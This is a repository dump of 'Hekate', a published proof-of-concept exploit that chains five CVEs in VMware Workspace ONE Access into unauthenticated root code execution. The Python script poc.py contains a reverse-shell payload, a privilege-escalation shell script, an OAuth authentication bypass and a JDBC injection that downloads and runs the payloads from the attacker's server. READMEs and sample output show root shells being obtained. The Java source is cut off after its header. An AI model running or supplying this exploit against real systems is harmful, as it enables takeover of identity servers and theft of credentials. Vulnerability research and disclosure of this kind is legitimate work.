├── poc-help.png ├── mysql ├── client.gif ├── server.gif └── poc.py ├── postgres ├── client.gif ├── server.gif ├── exploit │ ├── poc.sh │ ├── libs │ │ └── licensecheck-1.1.5.jar │ ├── .settings │ │ ├── org.eclipse.m2e.core.prefs │ │ ├── org.eclipse.core.resources.prefs │ │ └── org.eclipse.jdt.core.prefs │ ├── src │ │ ├── test │ │ │ └── java │ │ │ │ └── com │ │ │ │ └── srcincite │ │ │ │ └── exploit │ │ │ │ └── AppTest.java │ │ └── main │ │ │ └── java │ │ │ └── com │ │ │ └── srcincite │ │ │ └── exploit │ │ │ └── Poc.java │ ├── .project │ ├── .classpath │ ├── README.md │ └── pom.xml └── poc.py ├── LICENSE └── README.md /poc-help.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/hekate/HEAD/poc-help.png -------------------------------------------------------------------------------- /mysql/client.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/hekate/HEAD/mysql/client.gif -------------------------------------------------------------------------------- /mysql/server.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/hekate/HEAD/mysql/server.gif -------------------------------------------------------------------------------- /postgres/client.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/hekate/HEAD/postgres/client.gif -------------------------------------------------------------------------------- /postgres/server.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/hekate/HEAD/postgres/server.gif -------------------------------------------------------------------------------- /postgres/exploit/poc.sh: -------------------------------------------------------------------------------- 1 | java -ea -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc $1 $2 $3 $4 2 | -------------------------------------------------------------------------------- /postgres/exploit/libs/licensecheck-1.1.5.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sourceincite/hekate/HEAD/postgres/exploit/libs/licensecheck-1.1.5.jar -------------------------------------------------------------------------------- /postgres/exploit/.settings/org.eclipse.m2e.core.prefs: -------------------------------------------------------------------------------- 1 | activeProfiles= 2 | eclipse.preferences.version=1 3 | resolveWorkspaceProjects=true 4 | version=1 5 | -------------------------------------------------------------------------------- /postgres/exploit/.settings/org.eclipse.core.resources.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | encoding//src/main/java=UTF-8 3 | encoding//src/test/java=UTF-8 4 | encoding/=UTF-8 5 | -------------------------------------------------------------------------------- /postgres/exploit/src/test/java/com/srcincite/exploit/AppTest.java: -------------------------------------------------------------------------------- 1 | package com.srcincite.exploit; 2 | 3 | import static org.junit.Assert.assertTrue; 4 | 5 | import org.junit.Test; 6 | 7 | /** 8 | * Unit test for simple App. 9 | */ 10 | public class AppTest 11 | { 12 | /** 13 | * Rigorous Test :-) 14 | */ 15 | @Test 16 | public void shouldAnswerWithTrue() 17 | { 18 | assertTrue( true ); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /postgres/exploit/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.7 3 | org.eclipse.jdt.core.compiler.compliance=1.7 4 | org.eclipse.jdt.core.compiler.problem.enablePreviewFeatures=disabled 5 | org.eclipse.jdt.core.compiler.problem.forbiddenReference=warning 6 | org.eclipse.jdt.core.compiler.problem.reportPreviewFeatures=ignore 7 | org.eclipse.jdt.core.compiler.release=disabled 8 | org.eclipse.jdt.core.compiler.source=1.7 9 | -------------------------------------------------------------------------------- /postgres/exploit/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | exploit 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.m2e.core.maven2Builder 15 | 16 | 17 | 18 | 19 | 20 | org.eclipse.jdt.core.javanature 21 | org.eclipse.m2e.core.maven2Nature 22 | 23 | 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Source Incite 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /postgres/exploit/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /postgres/exploit/README.md: -------------------------------------------------------------------------------- 1 | ## Summary 2 | 3 | An attacker can leverage the [licensecheck-1.1.5.jar](/postgres/exploit/libs/licensecheck-1.1.5.jar) library to trigger a deserialization in the `com.vmware.licensecheck.LicenseChecker` class when using the Postgres JDBC handler. It has an added advantage that an out-of-band attack isn't required. Please see the following exploit code for details. 4 | 5 | ## Build 6 | 7 | 1. Compile ysoserial-0.0.6-SNAPSHOT-all.jar and place it in the libs directory 8 | 2. Build with `mvn clean compile assembly:single` 9 | 10 | ## Notes 11 | 12 | - No outbound network access required 13 | - Works on default installation 14 | - Pre-authenticated 15 | - Achieves root access 16 | - Worked against VMWare's cloud 17 | 18 | For more information about the vulnerabilities (ab)used, please see the main repo [README](/README.md). 19 | 20 | ## Run 21 | 22 | Run the exploit with `java -ea -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc` 23 | 24 | ## Example 25 | 26 | ``` 27 | researcher@mars:~/eclipse-workspace/exploit$ java -ea -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc 28 | __ __ __ __ 29 | / // /__ / /_____ _/ /____ 30 | / _ / -_) '_/ _ `/ __/ -_) 31 | /_//_/\__/_/\_\\_,_/\__/\__/ 32 | 33 | A VMWare Workspace ONE Access RCE Exploit 34 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 35 | 36 | Missing required options: t, c 37 | usage: Poc 38 | -c,--connectback The connectback ip or hostname and port 39 | -t,--target The target ip 40 | 41 | researcher@mars:~/eclipse-workspace/exploit$ java -ea -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc -t 192.168.2.97 -c 192.168.2.234 42 | __ __ __ __ 43 | / // /__ / /_____ _/ /____ 44 | / _ / -_) '_/ _ `/ __/ -_) 45 | /_//_/\__/_/\_\\_,_/\__/\__/ 46 | 47 | A VMWare Workspace ONE Access RCE Exploit 48 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 49 | 50 | (+) targeting 192.168.2.97 51 | (+) listening at port 1337 52 | (+) leaked ota token: f5c8ae0b-7b86-3233-a8dd-ff6b08779feb:j2UL6TSQc45RHnb9Y7HqNNH3lVMT9ZU8 53 | (+) leaked client secret: gKX0GX8fUWvlR6Vdsm3DOT7yE82CXTOq 54 | (+) bypassed authentication! 55 | (+) triggering deserialization attack... 56 | (+) connection from 192.168.2.97 57 | (+) pop thy shell! 58 | bash: cannot set terminal process group (2099): Inappropriate ioctl for device 59 | bash: no job control in this shell 60 | id 61 | uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) 62 | uname -a 63 | Linux module5.localdomain 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux 64 | ^C 65 | ``` 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hekate - A VMWare Workspace ONE Access Remote Code Execution Exploit 2 | 3 | - Steven Seeley of Qihoo 360 Vulnerability Research Institute 4 | - Original rogue MySQL server by [LandGrey](https://landgrey.me/blog/11/) 5 | 6 | ## Details 7 | 8 | - Hekate is pronounced as heh-ka-teh 9 | - Date: Tue Feb 22 13:37:00 CST 2022 10 | - Version: 21.08.0.1 (latest) 11 | - File: identity-manager-21.08.0.1-19010796_OVF10.ova 12 | - File SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851 13 | - Further technical details: [https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html](https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html) 14 | 15 | # Summary 16 | 17 | An unauthenticated attacker can trigger a remote code execution as root against the vIDM appliance. Additionally, an attacker can send a specially crafted link to a victim operator that when clicked, can achieve remote code execution as root against the vIDM appliance. 18 | 19 | # Notes 20 | 21 | - The vulnerabilities in this exploit take advantage of the default configuration of VMWare Workspace ONE Access 22 | - This repo contains two different exploits for leveraging two different techniques of exploitation: 23 | 24 | - MySQL JDBC Driver autoDeserialize 25 | - PostgreSQL JDBC Driver socketFactory 26 | 27 | The PostgreSQL attack technique has an added advantage that it doesn't require Java deserialization gadget for exploitation (even though one exists by default). As an additional advantage, you can use the [licensecheck-1.1.5.jar](/postgres/exploit/libs/licensecheck-1.1.5.jar) library to trigger a deserialization in the `com.vmware.licensecheck.LicenseChecker` class so that an out-of-band attack isn't required. Please see the specific [poc](/postgres/exploit) for that technique. 28 | 29 | - The 4th vulnerability abused in this exploit is similar to CVE-2020-4006 which was used in the wild. The advantage in this exploit is that: 30 | 31 | - The bug impacts port 443, which is likely exposed unlike CVE-2020-4006 which impacts port 8443 and not likely exposed. 32 | - CVE-2020-4006 could not be triggered via cross site request forgery, the `X-Vk` header is expected and validated from the incoming request. 33 | - CVE-2020-4006 wasn't chained with additional vulnerabilities to achieve unauthenticated root access. 34 | 35 | This exploit uses 5 vulnerabilities to achieve a 0-click and 1-click remote code execution which will be detailed below. 36 | 37 | 1. OAuth2TokenResourceController ACS Authentication Bypass ([CVE-2022-22956](https://srcincite.io/advisories/src-2022-0007/)) 38 | 39 | CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) 40 | This vulnerability allows a remote, unauthenticated attacker to bypass the authentication mechanism and execute any operation. 41 | 42 | 2. BrandingResource getBranding Information Disclosure ([CVE-2022-22961](https://srcincite.io/advisories/src-2022-0012/)) 43 | 44 | CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) 45 | This vulnerability allows a remote, unauthenticated attacker to leak the hostname of the target system which can be used to target victims in a client-side attack scenario. 46 | 47 | 3. DBConnectionCheckController dbCheck Cross Site Request Forgery ([CVE-2022-22959](https://srcincite.io/advisories/src-2022-0010/)) 48 | 49 | CVSS: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) 50 | This vulnerability allows an attacker to induce users to validate an arbitrary JDBC uri's that they didn't intend to. 51 | 52 | 4. DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution ([CVE-2022-22957](https://srcincite.io/advisories/src-2022-0009/)) 53 | 54 | CVSS: 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) 55 | This vulnerability allows an attacker to deserialize arbitrary Java objects which can allow remote code execution. 56 | 57 | 5. publishCaCert and gatherConfig Privilege Escalation ([CVE-2022-22960](https://srcincite.io/advisories/src-2022-0011/)) 58 | 59 | CVSS: 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) 60 | This vulnerability allows a local attacker with the uid 1001 to escalate their privileges to root access. 61 | 62 | ## Example 63 | 64 | Attacking server-side using the PostgreSQL JDBC driver exploit: 65 | 66 | ![Server-side attack scenario](postgres/server.gif) 67 | 68 | Attacking client-side using the MySQL JDBC driver exploit: 69 | 70 | ![Client-side attack scenario](mysql/client.gif) 71 | -------------------------------------------------------------------------------- /postgres/exploit/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | com.srcincite 8 | hekate 9 | 0.0.1-SNAPSHOT 10 | 11 | exploit 12 | 13 | http://www.example.com 14 | 15 | 16 | UTF-8 17 | 1.7 18 | 1.7 19 | 20 | 21 | 22 | 23 | 24 | 25 | commons-cli 26 | commons-cli 27 | 1.3.1 28 | 29 | 30 | 31 | org.apache.httpcomponents 32 | httpclient 33 | 4.5.12 34 | 35 | 36 | 37 | ysoserial 38 | ysoserial 39 | system 40 | 0.0.6 41 | ${project.basedir}/libs/ysoserial-0.0.6-SNAPSHOT-all.jar 42 | 43 | 44 | 45 | org.json 46 | json 47 | 20220320 48 | 49 | 50 | 51 | licensecheck 52 | licensecheck 53 | system 54 | 1.1.5 55 | ${project.basedir}/libs/licensecheck-1.1.5.jar 56 | 57 | 58 | 59 | junit 60 | junit 61 | 4.11 62 | test 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | maven-clean-plugin 72 | 3.1.0 73 | 74 | 75 | 76 | maven-resources-plugin 77 | 3.0.2 78 | 79 | 80 | maven-compiler-plugin 81 | 3.8.0 82 | 83 | 84 | maven-surefire-plugin 85 | 2.22.1 86 | 87 | 88 | maven-jar-plugin 89 | 3.0.2 90 | 91 | 92 | maven-install-plugin 93 | 2.5.2 94 | 95 | 96 | maven-deploy-plugin 97 | 2.8.2 98 | 99 | 100 | 101 | maven-site-plugin 102 | 3.7.1 103 | 104 | 105 | maven-project-info-reports-plugin 106 | 3.0.0 107 | 108 | 109 | maven-assembly-plugin 110 | 111 | 112 | 113 | com.srcincite.exploit.Poc 114 | 115 | 116 | false 117 | 118 | jar-with-dependencies 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /postgres/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Hekate - A VMWare Workspace ONE Access Remote Code Execution Exploit 4 | Steven Seeley of Qihoo 360 Vulnerability Research Institute 5 | Tekniq: PostgreSQL JDBC Driver socketFactory 6 | 7 | # Details 8 | 9 | Date: Tue Feb 22 13:37:00 CST 2022 10 | Version: 21.08.0.1 (latest) 11 | File: identity-manager-21.08.0.1-19010796_OVF10.ova 12 | File SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851 13 | 14 | # Example 15 | 16 | Attacking server-side: 17 | 18 | ``` 19 | researcher@mercury:~$ ./poc.py -t 192.168.184.165 -c 192.168.184.146:1234 -v server 20 | 21 | __ __ __ __ 22 | / // /__ / /_____ _/ /____ 23 | / _ / -_) '_/ _ `/ __/ -_) 24 | /_//_/\__/_/\_\\_,_/\__/\__/ 25 | 26 | A VMWare Workspace ONE Access RCE Exploit 27 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 28 | 29 | (+) attacking target via the postgresql driver 30 | (+) rogue http server listening on 0.0.0.0:8080 31 | (+) leaked ota token: a279518f-8eac-3399-8101-ee682c0f3904:Ak9iRF5J7Mi8XtNg2K6apWktXHot8B9i 32 | (+) leaked client_secret: OGalIg14iBh6NSOoGMaNbQfLJPko0KUu 33 | (+) triggering command: curl http://192.168.184.146:8080/bdr.py -o /tmp/a 34 | (+) triggered bdr download... 35 | (+) triggering command: curl http://192.168.184.146:8080/lpe.sh -o /tmp/b 36 | (+) triggered lpe download... 37 | (+) triggering command: chmod 755 /tmp/a 38 | (+) triggering command: chmod 755 /tmp/b 39 | (+) triggering command: python /tmp/a 40 | (+) starting handler on port 1234 41 | (+) connection from 192.168.184.165 42 | (+) pop thy shell! 43 | root [ ~ ]# id 44 | id 45 | uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) 46 | root [ ~ ]# uname -a 47 | uname -a 48 | Linux photon-machine 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux 49 | root [ ~ ]# 50 | ``` 51 | 52 | Attacking client-side: 53 | 54 | ``` 55 | researcher@mercury:~$ ./poc.py -t 192.168.184.165 -c 192.168.184.146:1234 -v client 56 | 57 | __ __ __ __ 58 | / // /__ / /_____ _/ /____ 59 | / _ / -_) '_/ _ `/ __/ -_) 60 | /_//_/\__/_/\_\\_,_/\__/\__/ 61 | 62 | A VMWare Workspace ONE Access RCE Exploit 63 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 64 | 65 | (+) attacking target via the postgresql driver 66 | (+) rogue http server listening on 0.0.0.0:8080 67 | (+) send the victim to: http://192.168.184.146:8080/pwn 68 | (+) starting handler on port 1234 69 | (+) triggering command: curl http://192.168.184.146:8080/bdr.py -o /tmp/a 70 | (+) triggering command: curl http://192.168.184.146:8080/lpe.sh -o /tmp/b 71 | (+) triggering command: chmod 755 /tmp/a 72 | (+) triggering command: chmod 755 /tmp/b 73 | (+) triggering command: python /tmp/a 74 | (+) triggered bdr download... 75 | (+) triggered lpe download... 76 | (+) connection from 192.168.184.165 77 | (+) pop thy shell! 78 | root [ ~ ]# id 79 | id 80 | uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) 81 | root [ ~ ]# uname -a 82 | uname -a 83 | Linux photon-machine 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux 84 | root [ ~ ]# 85 | ``` 86 | 87 | # References 88 | 89 | - http://tttang.com/archive/1462/ 90 | """ 91 | 92 | import socket 93 | from sys import argv 94 | from json import loads 95 | from time import sleep 96 | from struct import pack 97 | from hashlib import sha256 98 | from base64 import b64decode 99 | from telnetlib import Telnet 100 | from threading import Thread 101 | from requests import get, post 102 | from urllib.parse import urlparse 103 | from colorama import Fore, Style, Back 104 | from random import getrandbits, choice 105 | from urllib3 import disable_warnings, exceptions 106 | from argparse import ArgumentParser, RawTextHelpFormatter 107 | from http.server import BaseHTTPRequestHandler, HTTPServer 108 | disable_warnings(exceptions.InsecureRequestWarning) 109 | 110 | # vuln 3 111 | csrf_payload = """ 112 | 113 | 114 | 132 | 133 | 134 | """ 135 | 136 | bdr_payload = """ 137 | import socket,os,pty 138 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 139 | s.connect(("{h}", {p})) 140 | os.dup2(s.fileno(),0) 141 | os.dup2(s.fileno(),1) 142 | os.dup2(s.fileno(),2) 143 | pty.spawn(["/bin/bash","/tmp/b"]) # lpe 144 | """ 145 | 146 | # vuln 5 147 | lpe_payload = """ 148 | #!/bin/bash 149 | cd /tmp 150 | sudo /usr/local/horizon/scripts/publishCaCert.hzn /opt/vmware/certproxy/bin/certproxyService.sh {d} 151 | mkdir {d} 152 | ln -s /opt/vmware/certproxy/bin/certproxyService.sh {d}/debugConfig.txt 153 | sudo /usr/local/horizon/scripts/gatherConfig.hzn {d} 154 | rm -rf {d} 155 | chmod 755 /opt/vmware/certproxy/bin/certproxyService.sh 156 | echo "mv /etc/ssl/certs/{d} /opt/vmware/certproxy/bin/certproxyService.sh" > /opt/vmware/certproxy/bin/certproxyService.sh 157 | echo "chown root:root /opt/vmware/certproxy/bin/certproxyService.sh" >> /opt/vmware/certproxy/bin/certproxyService.sh 158 | echo "chmod 640 /opt/vmware/certproxy/bin/certproxyService.sh" >> /opt/vmware/certproxy/bin/certproxyService.sh 159 | echo "rm /tmp/a; rm /tmp/b; cd /root; python -c 'import pty; pty.spawn(\\\"/bin/bash\\\")'" >> /opt/vmware/certproxy/bin/certproxyService.sh 160 | sudo /opt/vmware/certproxy/bin/certproxyService.sh 161 | """ 162 | 163 | bean = """ 164 | 167 | 168 | 169 | 170 | {cmd} 171 | 172 | 173 | 174 | 175 | """ 176 | 177 | class http_server(BaseHTTPRequestHandler): 178 | cmd_done = {0: False, 1: False, 2: False, 3: False, 4: False} 179 | cmd_c = 0 180 | def log_message(self, format, *args): 181 | return 182 | def _set_response(self, d): 183 | self.send_response(200) 184 | self.send_header('Content-type', 'text/html') 185 | self.send_header('Content-Length', len(d)) 186 | self.end_headers() 187 | def do_GET(self): 188 | if self.path.endswith("poc.xml"): 189 | # this is a little awkward but it's very reliable 190 | if args.vector == "client": 191 | sleep(0.15) 192 | entry = http_server.cmd_c 193 | else: 194 | entry = int(self.path[1:2]) 195 | # we run 5 commands against the server before we finish 196 | if entry == 5: 197 | entry = 0 198 | cmd = cmd_entries[entry] 199 | if not http_server.cmd_done[entry]: 200 | print(f"(+) {Fore.LIGHTRED_EX}triggering command:{Style.RESET_ALL} {Fore.LIGHTGREEN_EX}{cmd}{Style.RESET_ALL}") 201 | p = "" 202 | for c in cmd.split(" "): 203 | p += f"{c}" 204 | http_server.cmd_done[entry] = True 205 | http_server.cmd_c += 1 206 | message = bean.format(cmd=p) 207 | else: 208 | message = "" 209 | self._set_response(message) 210 | self.wfile.write(message.encode('utf-8')) 211 | self.wfile.write('\n'.encode('utf-8')) 212 | if self.path.endswith("pwn"): 213 | # tested against chrome 98.0.4758.102 (latest at the time) 214 | message = csrf_payload.format(j=jdbc_uri, t=hostname) 215 | self._set_response(message) 216 | self.wfile.write(message.encode('utf-8')) 217 | self.wfile.write('\n'.encode('utf-8')) 218 | elif self.path.endswith("lpe.sh"): 219 | print(f"(+) {Fore.LIGHTRED_EX}triggered lpe download...{Style.RESET_ALL}") 220 | message = lpe_payload.format(d=gen_key()) 221 | self._set_response(message) 222 | self.wfile.write(message.encode('utf-8')) 223 | self.wfile.write('\n'.encode('utf-8')) 224 | elif self.path.endswith("bdr.py"): 225 | print(f"(+) {Fore.LIGHTRED_EX}triggered bdr download...{Style.RESET_ALL}") 226 | message = bdr_payload.format(h=rhost, p=rport) 227 | self._set_response(message) 228 | self.wfile.write(message.encode('utf-8')) 229 | self.wfile.write('\n'.encode('utf-8')) 230 | 231 | def gen_key(): 232 | return str.encode(sha256(str(getrandbits(256)).encode('utf-8')).hexdigest()) 233 | 234 | def handler(lp): 235 | print(f"(+) starting handler on port {lp}") 236 | t = Telnet() 237 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 238 | s.bind(("0.0.0.0", lp)) 239 | s.listen(1) 240 | conn, addr = s.accept() 241 | print(f"(+) connection from {addr[0]}") 242 | t.sock = conn 243 | print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}") 244 | t.interact() 245 | 246 | # vuln 2 247 | def get_hostname(t): 248 | r = get("https://{}/SAAS/jersey/manager/api/branding".format(t), verify=False) 249 | assert r.headers['content-type'] == 'application/vnd.vmware.horizon.manager.branding+json;charset=UTF-8', "(-) unexpected content-type cannot leak hostname" 250 | return urlparse(r.json()['userPortal']['mfaIconDownload']).hostname 251 | 252 | # vuln 1 253 | def get_jwt(t): 254 | oauth_client = choice(['Service__OAuth2Client', 'acs']) 255 | r = post(f"https://{t}/SAAS/API/1.0/REST/oauth2/generateActivationToken/{oauth_client}", verify=False) 256 | assert r.headers['content-type'] == "application/json;charset=UTF-8","(-) unexpected response from token generation" 257 | code = r.json()['activationToken'] 258 | ota = loads(b64decode(code))['ota'] 259 | print(f"(+) {Fore.LIGHTRED_EX}leaked ota token: {Style.RESET_ALL} {Fore.LIGHTGREEN_EX}{ota}{Style.RESET_ALL}") 260 | r = post(f"https://{t}/SAAS/API/1.0/REST/oauth2/activate", data=code,verify=False) 261 | assert r.headers['content-type'] == "application/json;charset=UTF-8","(-) unexpected response from token activation" 262 | ci = r.json()['client_id'] 263 | cs = r.json()['client_secret'] 264 | print(f"(+) {Fore.LIGHTRED_EX}leaked client_secret:{Style.RESET_ALL} {Fore.LIGHTGREEN_EX}{cs}{Style.RESET_ALL}") 265 | p = { 266 | "grant_type" : "client_credentials", 267 | "client_id" : ci, 268 | "client_secret" : cs 269 | } 270 | r = post(f"https://{t}/SAAS/auth/oauthtoken", data=p, verify=False) 271 | assert r.headers['content-type'] == "application/json;charset=UTF-8","(-) unexpected response from access token generation" 272 | return r.json()['access_token'] 273 | 274 | # vuln 4 275 | def trigger_jdbc(t, jwt, uri): 276 | d = { 277 | "jdbcUrl": uri, 278 | "dbUsername":"", 279 | "dbPassword":"" 280 | } 281 | h = { "cookie" : f"HZN={jwt}" } 282 | post(f"https://{t}/SAAS/API/1.0/REST/system/dbCheck", headers=h, data=d, verify=False) 283 | 284 | def banner(): 285 | return f"""{Fore.RED + Style.BRIGHT} 286 | __ __ __ __ 287 | / // /__ / /_____ _/ /____ 288 | / _ / -_) '_/ _ `/ __/ -_) 289 | /_//_/\__/_/\_\\\_,_/\__/\__/ 290 | 291 | {Style.RESET_ALL}A VMWare Workspace ONE Access RCE Exploit 292 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 293 | """ 294 | 295 | def get_args(prog): 296 | helpm = f"Examples: \r\n{prog} -t 192.168.184.165 -c 192.168.184.146:1234 -v client" 297 | helpm += f"\r\n{prog} -t 192.168.184.165 -c 192.168.184.146:1234 -v server" 298 | parser = ArgumentParser(epilog=helpm, formatter_class=RawTextHelpFormatter) 299 | v = ["client", "server"] 300 | parser.add_argument('-t', '--target', dest='target', action='store', type=str, required=True, 301 | help='The target ip', metavar='[ip]') 302 | parser.add_argument('-c', '--connectback', dest='connectback', action='store', type=str, required=True, 303 | help='The connectback/attacking ip or hostname and port', metavar='[ip:port]') 304 | parser.add_argument('-v', '--vector', dest='vector', action='store', type=str, required=True, 305 | default="client", choices=v, help='The vector for exploitation. Either '+' or '.join(v), metavar='[vector]') 306 | return parser.parse_args() 307 | 308 | def validip(ip): 309 | return ip.count('.') == 3 and all(0<=int(num)<256 for num in ip.rstrip().split('.')) 310 | 311 | if __name__ == "__main__": 312 | print(banner()) 313 | args = get_args(argv[0]) 314 | rport = 1337 315 | rhost = args.connectback 316 | target = args.target 317 | http_port = 8080 318 | mysql_port = 3306 319 | assert validip(target), "(-) you need to provide a valid ip address as the target" 320 | if ":" in args.connectback: 321 | rhost = args.connectback.split(":")[0] 322 | assert args.connectback.split(":")[1].isnumeric(),"(-) port must be a valid integer" 323 | rport = int(args.connectback.split(":")[1]) 324 | cmd_entries = { 325 | 0:f"curl http://{rhost}:{http_port}/bdr.py -o /tmp/a", 326 | 1:f"curl http://{rhost}:{http_port}/lpe.sh -o /tmp/b", 327 | 2:"chmod 755 /tmp/a", 328 | 3:"chmod 755 /tmp/b", 329 | 4:"python /tmp/a" 330 | } 331 | jdbc_uri = "jdbc:postgresql://localhost:1337/saas?" 332 | jdbc_uri += f"socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://{rhost}:{http_port}/" 333 | # connectback http server for the csrf exploit and PostgreSQL JDBC driver exploitation 334 | server = HTTPServer(('0.0.0.0', http_port), http_server) 335 | handlerthr = Thread(target=server.serve_forever, args=[]) 336 | handlerthr.daemon = True 337 | handlerthr.start() 338 | print(f"(+) attacking target via the postgresql driver") 339 | print(f"(+) rogue http server listening on 0.0.0.0:{http_port}") 340 | if args.vector == "client": 341 | hostname = get_hostname(target) 342 | print(f"(+) send the victim to: {Fore.CYAN + Back.MAGENTA + Style.BRIGHT}http://{rhost}:{http_port}/pwn{Style.RESET_ALL}") 343 | else: 344 | jwt = get_jwt(target) 345 | for i in range(0, 5): 346 | trigger_jdbc(target, jwt, jdbc_uri + f"{i}poc.xml") 347 | handlerthr = Thread(target=handler, args=[rport]) 348 | handlerthr.start() 349 | -------------------------------------------------------------------------------- /postgres/exploit/src/main/java/com/srcincite/exploit/Poc.java: -------------------------------------------------------------------------------- 1 | package com.srcincite.exploit; 2 | 3 | import com.vmware.licensecheck.LicenseChecker; 4 | import com.vmware.licensecheck.LicenseHandle; 5 | import com.vmware.licensecheck.MyBase64; 6 | import ysoserial.payloads.ObjectPayload.Utils; 7 | import java.io.*; 8 | import java.lang.reflect.Field; 9 | import java.net.HttpURLConnection; 10 | import java.net.ServerSocket; 11 | import java.net.Socket; 12 | import java.net.URL; 13 | import java.net.URLConnection; 14 | import java.net.URLEncoder; 15 | import java.security.KeyManagementException; 16 | import java.security.NoSuchAlgorithmException; 17 | import java.security.cert.X509Certificate; 18 | import java.util.Hashtable; 19 | import java.util.Random; 20 | import javax.net.ssl.HostnameVerifier; 21 | import javax.net.ssl.HttpsURLConnection; 22 | import javax.net.ssl.SSLContext; 23 | import javax.net.ssl.SSLSession; 24 | import javax.net.ssl.TrustManager; 25 | import javax.net.ssl.X509TrustManager; 26 | import org.apache.commons.cli.CommandLine; 27 | import org.apache.commons.cli.CommandLineParser; 28 | import org.apache.commons.cli.DefaultParser; 29 | import org.apache.commons.cli.HelpFormatter; 30 | import org.apache.commons.cli.Option; 31 | import org.apache.commons.cli.Options; 32 | import org.apache.commons.cli.ParseException; 33 | import org.json.JSONObject; 34 | 35 | /* 36 | Hekate - A VMWare Workspace ONE Access Remote Code Execution Exploit 37 | Steven Seeley of Qihoo 360 Vulnerability Research Institute 38 | Tekniq: Postgres JDBC Driver 39 | 40 | ## Details 41 | 42 | Date: Mon Jul 4 13:37:00 CST 2022 43 | Version: 21.08.0.1 (latest) 44 | File: identity-manager-21.08.0.1-19010796_OVF10.ova 45 | File SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851 46 | 47 | ## Notes 48 | 